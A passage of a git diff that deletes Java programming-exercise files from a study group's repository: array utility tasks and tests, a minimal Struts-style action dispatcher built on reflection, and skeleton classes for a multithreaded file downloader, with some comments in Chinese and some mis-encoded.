-		for(int i=0;i<array.length;i++){
-			str.append(array[i]).append(seperator);
-		}
-		return str.substring(0, str.length()-1).toString();
-	}
-	
-
-}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java"
deleted file mode 100644
index 17e7a06f0e..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java"
+++ /dev/null
@@ -1,86 +0,0 @@
-/**
- * 
- */
-package com.coding.test;
-
-
-import org.junit.Test;
-
-import com.coding.datastructs.ArrayUtil;
-
-
-public class ArrayUtilTest {
-	    @Test
-		public void reverseTest(){
-		ArrayUtil array = new ArrayUtil();
-		  int[] origin ={7,9,30,3,5,6,2,4,78,1,4,4567,3};
-		array.reverseArray(origin);
-		for(int i=0;i<origin.length;i++){
-			System.out.print(origin[i]+",");
-		}
-	}
-	    @Test
-	public void removeZeroTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] originArray ={0,1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5,0};
-		int[] newArray=array.removeZero(originArray);
-		for(int i=0;i<newArray.length;i++){
-			System.out.print(newArray[i]+",");
-		}
-	}
-	    @Test
-	public void mergeTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] a1 = {3, 5, 7,8}; 
-		int[] a2 = {4, 5, 6,7};
-		int[] a3 = array.merge(a1, a2);
-		for(int i=0;i<a3.length;i++){
-			System.out.print(a3[i]+",");
-		}
-		
-	}
-	    @Test
-	public void growTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] oldArray = {2,3,6};
-		oldArray = array.grow(oldArray, 3);
-		for(int i=0;i<oldArray.length;i++){
-			System.out.print(oldArray[i]+",");
-		}
-	}
-	    @Test
-	public void fibinaqiTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] a = array.fibonacci(56);
-		for(int i=0;i<a.length;i++){
-			System.out.print(a[i]+",");
-		}
-	}
-	    @Test
-	public void sushuTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] aa = array.getPrimes(100);
-		for(int t=0;t<aa.length;t++){
-			System.out.print(aa[t]+",");
-		}
-	}
-	    @Test	
-	public void perfectTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] aaa = array.getPerfectNumbers(1000);
-		for(int t=0;t<aaa.length;t++){
-			System.out.print(aaa[t]+",");
-		}
-	}
-	    @Test	
-	public void seperatorTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] arr = array.getPrimes(100);
-		String str = array.join(arr, "-");
-		System.out.println(str);
-	}
-		
-		//
-	
-
-}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/WebContent/WEB-INF/etc/struts.xml" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/WebContent/WEB-INF/etc/struts.xml"
deleted file mode 100644
index e5d9aebba8..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/WebContent/WEB-INF/etc/struts.xml"
+++ /dev/null
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<struts>
-    <action name="login" class="com.coderising.litestruts.LoginAction">
-        <result name="success">/jsp/homepage.jsp</result>
-        <result name="fail">/jsp/showLogin.jsp</result>
-    </action>
-    <action name="logout" class="com.coderising.litestruts.LogoutAction">
-    	<result name="success">/jsp/welcome.jsp</result>
-    	<result name="error">/jsp/error.jsp</result>
-    </action>
-</struts>
\ No newline at end of file
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java"
deleted file mode 100644
index 07d16b45d3..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java"
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.coderising.litestruts;
-
-
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
\ No newline at end of file
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java"
deleted file mode 100644
index bdcafdff8a..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java"
+++ /dev/null
@@ -1,122 +0,0 @@
-package com.coderising.litestruts;
-
-import java.io.File;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-import org.jdom.Document;
-import org.jdom.Element;
-import org.jdom.input.SAXBuilder;
-
-public class Struts {
-
-	public static View runAction(String actionName,
-			Map<String, String> parameters) {
-
-		
-		View view = new View();
-		Map<String,Map<String,String>> array = new HashMap<String, Map<String,String>>();
-		Map<String, Object> params = new HashMap<String, Object>();
-		Map<String, String> classData = new HashMap<String, String>();
-		try {
-			analysisXml(classData,array);
-			Map<String, String> jspData = array.get(actionName);
-			String s = "�Բ��������ݹ�����actionName��û�ж�Ӧ��class�࣬������Ҫ���´�";
-			if (!classData.containsKey(actionName)) {
-				throw new ClassNotFoundException(s);
-			}
-			
-			Class<?> class1 = Class.forName(classData.get(actionName));
-			LoginAction login = (LoginAction) class1.newInstance();
-			for (String ss : parameters.keySet()) {
-				Method[] methos1 = class1.getMethods();
-				for (int i = 0; i < methos1.length; i++) {
-					if (("set" + ss.substring(0, 1).toUpperCase() + ss
-							.substring(1)).equals(methos1[i].getName())) {
-						methos1[i].invoke(login, parameters.get(ss));
-						break;
-
-					}
-				}
-			}
-			
-			Method method1 = class1.getMethod("execute");
-			String result = (String) method1.invoke(login);
-			if(null!=result){
-				view.setJsp(jspData.get(result));
-			}
-			Method[] methos2 = class1.getMethods();
-			for (int i = 0; i < methos2.length; i++) {
-				if(methos2[i].getName().substring(0, 3).equals("get")){
-					Object value1 = (Object) (methos2[i].invoke(login));
-					String name1 = methos2[i].getName();
-					params.put(name1.substring(3, 4).toLowerCase()+name1.substring(4), value1);
-				}
-			}
-			view.setParameters(params);
-
-		} catch (Exception e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}
-
-		return view;
-	}
-
-	
-	public static void analysisXml(Map<String, String> xmlData,Map<String,Map<String,String>> array) {
-		try {
-			
-			String dirpath = System.getProperty("user.dir");
-			String xmlFile = dirpath + "/WebContent/WEB-INF/etc/struts.xml";
-			SAXBuilder builder = new SAXBuilder();
-			Document doc = builder.build(new File(xmlFile));
-			Element xRoot = doc.getRootElement();
-			List actions = getChildren(xRoot, "action");
-			for (int i = 0; i < actions.size(); i++) {
-				Element e = (Element) actions.get(i);
-				String actionName1 = getAttributeValue(e, "name");
-				String className = getAttributeValue(e, "class");
-				xmlData.put(actionName1, className);
-				List results = getChildren(e, "result");
-				Map<String, String> jspData = new HashMap<String, String>();
-				for (int j = 0; j < results.size(); j++) {
-					Element result = (Element) results.get(j);
-					String jspUrl = getValue(result);
-					String resultName = getAttributeValue(result, "name");
-					jspData.put(resultName, jspUrl);
-					array.put(actionName1, jspData);
-				}
-			}
-
-			// /StrutsDemo/WebContent/WEB-INF/etc/struts.xml
-		} catch (Exception e) {
-			e.printStackTrace();
-		}
-	}
-
-	
-	public static Element getChild(Element element, String sonMark) {
-		return element == null ? null : element.getChild(sonMark);
-	}
-
-	
-	public static List getChildren(Element element, String sonMark) {
-		return element == null ? null : element.getChildren(sonMark);
-	}
-
-	
-	public static String getValue(Element element) {
-		return element == null ? "" : element.getValue();
-	}
-
-	
-	public static String getAttributeValue(Element element, String attribute) {
-		return element == null ? null : element.getAttributeValue(attribute);
-	}
-
-}
\ No newline at end of file
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java"
deleted file mode 100644
index 52f08f3652..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java"
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //�����Ԥ��IJ�һ��
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
\ No newline at end of file
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java"
deleted file mode 100644
index d7bcd36d42..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java"
+++ /dev/null
@@ -1,94 +0,0 @@
-/**
- * 
- */
-package com.coderising.litestruts;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.StringReader;
-import java.lang.reflect.Method;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-import org.jdom.Document;
-import org.jdom.Element;
-import org.jdom.input.SAXBuilder;
-
-/**
- * Title:
- * Description:
- * @author HuangLiang
- * @2017��3��17������10:55:39
- * 
- */
-public class Test {
-
-	/**Description:
-	 * @param args
-	 * @author HuangLiang 2017��3��17�� ����10:55:39
-	 */
-	public static void main(String[] args) {
-		// TODO Auto-generated method stub
-			String name1 = "getName";
-			System.out.println(name1.substring(3, 4).toLowerCase()+name1.substring(4));
-			try {
-				Class<?> class1 = Class.forName("com.coderising.litestruts.LoginAction");
-				Method[] methos1 = class1.getMethods();
-				for(int i=0;i<methos1.length;i++){
-					Class<?> para[] = methos1[i].getParameterTypes();
-					throw new ClassNotFoundException();
-				}
-				System.out.println("���");
-			} catch (ClassNotFoundException e) {
-				// TODO Auto-generated catch block
-				e.printStackTrace();
-			}
-			
-	}
-	/**
-	 * ��ȡXML�ӱ�ǩ
-	 * 
-	 * @param element
-	 *            ��ǩ�ڵ�
-	 * @param sonMark
-	 *            �ӱ�ǩ
-	 * @return
-	 */
-	public static Element getChild(Element element, String sonMark) {
-		return element == null ? null : element.getChild(sonMark);
-	}
-
-	/**
-	 * ��ȡXML�ӱ�ǩ��
-	 * 
-	 * @param element
-	 *            ��ǩ�ڵ�
-	 * @param sonMark
-	 *            �ӱ�ǩ
-	 * @return
-	 */
-	public static List getChildren(Element element, String sonMark) {
-		return element == null ? null : element.getChildren(sonMark);
-	}
-
-	/**
-	 * s ��ȡXML��ǩֵ
-	 * 
-	 * @param element
-	 * @return
-	 */
-	public static String getValue(Element element) {
-		return element == null ? "" : element.getValue();
-	}
-	/**
-	 * s ��ȡXML����ֵ
-	 * 
-	 * @param element
-	 * @return
-	 */
-	public static String getAttributeValue(Element element, String attribute) {
-		return element == null ? null : element.getAttributeValue(attribute);
-	}
-
-}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java"
deleted file mode 100644
index f68a8c438b..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java"
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
\ No newline at end of file
diff --git a/group23/565832157/src/com/coderising/array/ArrayUtil.java b/group23/565832157/src/com/coderising/array/ArrayUtil.java
deleted file mode 100644
index e5ddb476a6..0000000000
--- a/group23/565832157/src/com/coderising/array/ArrayUtil.java
+++ /dev/null
@@ -1,96 +0,0 @@
-package com.coderising.array;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin){
-		
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	
-	public int[] removeZero(int[] oldArray){
-		return null;
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	
-	public int[] merge(int[] array1, int[] array2){
-		return  null;
-	}
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int [] oldArray,  int size){
-		return null;
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max){
-		return null;
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max){
-		return null;
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max){
-		return null;
-	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator){
-		return null;
-	}
-	
-
-}
diff --git a/group23/565832157/src/com/coderising/download/DownloadThread.java b/group23/565832157/src/com/coderising/download/DownloadThread.java
deleted file mode 100644
index 900a3ad358..0000000000
--- a/group23/565832157/src/com/coderising/download/DownloadThread.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-
-public class DownloadThread extends Thread{
-
-	Connection conn;
-	int startPos;
-	int endPos;
-
-	public DownloadThread( Connection conn, int startPos, int endPos){
-		
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-	}
-	public void run(){	
-		
-	}
-}
diff --git a/group23/565832157/src/com/coderising/download/FileDownloader.java b/group23/565832157/src/com/coderising/download/FileDownloader.java
deleted file mode 100644
index c3c8a3f27d..0000000000
--- a/group23/565832157/src/com/coderising/download/FileDownloader.java
+++ /dev/null
@@ -1,73 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-
-
-public class FileDownloader {
-	
-	String url;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-
-	public FileDownloader(String _url) {
-		this.url = _url;
-		
-	}
-	
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		Connection conn = null;
-		try {
-			
-			conn = cm.open(this.url);
-			
-			int length = conn.getContentLength();	
-			
-			new DownloadThread(conn,0,length-1).start();
-			
-		} catch (ConnectionException e) {			
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}
-		
-		
-		
-		
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-}
diff --git a/group23/565832157/src/com/coderising/download/FileDownloaderTest.java b/group23/565832157/src/com/coderising/download/FileDownloaderTest.java
deleted file mode 100644
index 4ff7f46ae0..0000000000
--- a/group23/565832157/src/com/coderising/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.coderising.download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "http://localhost:8080/test.jpg";
-		
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/565832157/src/com/coderising/download/api/Connection.java b/group23/565832157/src/com/coderising/download/api/Connection.java
deleted file mode 100644
index 0957eaf7f4..0000000000
--- a/group23/565832157/src/com/coderising/download/api/Connection.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.download.api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
diff --git a/group23/565832157/src/com/coderising/download/api/ConnectionException.java b/group23/565832157/src/com/coderising/download/api/ConnectionException.java
deleted file mode 100644
index 1551a80b3d..0000000000
--- a/group23/565832157/src/com/coderising/download/api/ConnectionException.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public class ConnectionException extends Exception {
-
-}
diff --git a/group23/565832157/src/com/coderising/download/api/ConnectionManager.java b/group23/565832157/src/com/coderising/download/api/ConnectionManager.java
deleted file mode 100644
index ce045393b1..0000000000
--- a/group23/565832157/src/com/coderising/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coderising.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/565832157/src/com/coderising/download/api/DownloadListener.java b/group23/565832157/src/com/coderising/download/api/DownloadListener.java
deleted file mode 100644
index bf9807b307..0000000000
--- a/group23/565832157/src/com/coderising/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java b/group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java
deleted file mode 100644
index 36a9d2ce15..0000000000
--- a/group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.download.impl;
-
-import java.io.IOException;
-
-import com.coderising.download.api.Connection;
-
-public class ConnectionImpl implements Connection{
-
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		
-		return null;
-	}
-
-	@Override
-	public int getContentLength() {
-		
-		return 0;
-	}
-
-	@Override
-	public void close() {
-		
-		
-	}
-
-}
diff --git a/group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 172371dd55..0000000000
--- a/group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,15 +0,0 @@
-package com.coderising.download.impl;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		
-		return null;
-	}
-
-}
diff --git a/group23/565832157/src/com/coderising/litestruts/LoginAction.java b/group23/565832157/src/com/coderising/litestruts/LoginAction.java
deleted file mode 100644
index dcdbe226ed..0000000000
--- a/group23/565832157/src/com/coderising/litestruts/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.litestruts;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group23/565832157/src/com/coderising/litestruts/Struts.java b/group23/565832157/src/com/coderising/litestruts/Struts.java
deleted file mode 100644
index 6df190d484..0000000000
--- a/group23/565832157/src/com/coderising/litestruts/Struts.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.coderising.litestruts;
-
-import java.lang.reflect.Method;
-import java.util.Map;
-
-
-
-public class Struts {
-
-	
-    public static View runAction(String actionName, Map<String,String> parameters) {
-
-        /*
-         
-		0. 读取配置文件struts.xml
- 		
- 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-		("name"="test" ,  "password"="1234") ,     	
-		那就应该调用 setName和setPassword方法
-		
-		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-		
-		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
-		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
-		放到View对象的parameters
-		
-		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
-		放到View对象的jsp字段中。
-        
-        */
-    	
-    
-    	return null;
-    }    
-
-}
diff --git a/group23/565832157/src/com/coderising/litestruts/StrutsTest.java b/group23/565832157/src/com/coderising/litestruts/StrutsTest.java
deleted file mode 100644
index b8c81faf3c..0000000000
--- a/group23/565832157/src/com/coderising/litestruts/StrutsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group23/565832157/src/com/coderising/litestruts/View.java b/group23/565832157/src/com/coderising/litestruts/View.java
deleted file mode 100644
index 07df2a5dab..0000000000
--- a/group23/565832157/src/com/coderising/litestruts/View.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group23/565832157/src/com/coderising/litestruts/struts.xml b/group23/565832157/src/com/coderising/litestruts/struts.xml
deleted file mode 100644
index e5d9aebba8..0000000000
--- a/group23/565832157/src/com/coderising/litestruts/struts.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<struts>
-    <action name="login" class="com.coderising.litestruts.LoginAction">
-        <result name="success">/jsp/homepage.jsp</result>
-        <result name="fail">/jsp/showLogin.jsp</result>
-    </action>
-    <action name="logout" class="com.coderising.litestruts.LogoutAction">
-    	<result name="success">/jsp/welcome.jsp</result>
-    	<result name="error">/jsp/error.jsp</result>
-    </action>
-</struts>
\ No newline at end of file
diff --git a/group23/565832157/src/com/coding/basic/ArrayList.java b/group23/565832157/src/com/coding/basic/ArrayList.java
deleted file mode 100644
index 1f185736f9..0000000000
--- a/group23/565832157/src/com/coding/basic/ArrayList.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic;
-
-public class ArrayList implements List {
-	
-	private int size = 0;
-	
-	private Object[] elementData = new Object[100];
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index, Object o){
-		
-	}
-	
-	public Object get(int index){
-		return null;
-	}
-	
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public Iterator iterator(){
-		return null;
-	}
-	
-}
diff --git a/group23/565832157/src/com/coding/basic/BinaryTreeNode.java b/group23/565832157/src/com/coding/basic/BinaryTreeNode.java
deleted file mode 100644
index d7ac820192..0000000000
--- a/group23/565832157/src/com/coding/basic/BinaryTreeNode.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic;
-
-public class BinaryTreeNode {
-	
-	private Object data;
-	private BinaryTreeNode left;
